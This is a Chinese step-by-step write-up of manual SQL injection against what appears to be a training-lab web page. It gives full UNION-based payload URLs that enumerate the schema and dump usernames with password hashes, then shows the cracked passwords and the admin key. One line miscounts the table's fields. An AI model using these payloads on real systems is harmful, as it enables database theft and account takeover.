SQL手工注入漏洞测试(MySQL数据库-字符型)
第一步:判断注入点:
在浏览器的url界面输入一个单引号,发现页面报错,接着输入
http://219.153.49.228:48809/new_list.php?id=tingjigonggao'--'
发现页面正常,由此该url存在字符型注入漏洞
第二步:判断字段数
利用order by 语句,值为4页面正常。
后面的可以用单引号,也可以用+来表示
http://219.153.49.228:48809/new_list.php?id=tingjigonggao' order by 4 --'
第三步:查找回显点
利用union联合查询来寻找回显点,union前面的语句需要报错才能显示我们输入的
http://219.153.49.228:48809/new_list.php?id=tingjigonggaoo' union select 1,2,3,4 --'
此时页面会出现数字2和数字3,说明2和3的位置可以供我们利用
第四步:利用回显点爆破数据库
利用回显点获取数据库的名称和版本
由页面返回结果之数据库为:mozhe_discuz_stormgroup,版本:10.2.15-MariaDB-log
http://219.153.49.228:48809/new_list.php?id=tingjigonggaoo' union select 1,database(),version(),4 --'
接下来继续查询数据库的个数利用limit这个函数,
http://219.153.49.228:48809/new_list.php?id=tingjigonggaoo' union select 1,schema_name,3,4 from information_schema.schemata limit 0,1 --+
发现0增加到5的时候报错,说明有五个数据库分别为mysql,information_schema,mozhe_discuz_stormgroup,performance_schema,test
第五步:根据爆出的数据库爆破表名
查询表的个数(这里以mozhe_discuz_stormgroup为例,如果想查询其他数据库表的信息
只需要把数据库名称改下即可),0增加到2的时候报错,说明这个数据库有两个表分别是
notice,stormgroup_member
http://219.153.49.228:48809/new_list.php?id=tingjigonggaoo' union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' limit 0,1--+
第六步:根据数据库的表爆破字段名
(这里以mozhe_discuz_stormgroup数据库和stormgroup_member表为例)
http://219.153.49.228:48809/new_list.php?id=tingjigonggaoo' union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='stormgroup_member' limit 0,1 --+
发现0增加到4的时候页面报错,说明这个表有三个字段分别是 id,name,password,status
**第七步:根据爆出的字段直接破解出其字段内容**
```c
http://219.153.49.228:48809/new_list.php?id=tingjigonggaoo' union select 1,2,group_concat(name,'-',password),4 from mozhe_discuz_stormgroup.stormgroup_member --+
爆出了两个账号:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-6a558d023dddea9d4f4b27f2e2061a08
站长直接进行解密
mozhe-dsan13
mozhe-762247
登陆第二个账号成功进入管理后台拿到key
mozhec268db8e10e12a5fd62b9c13846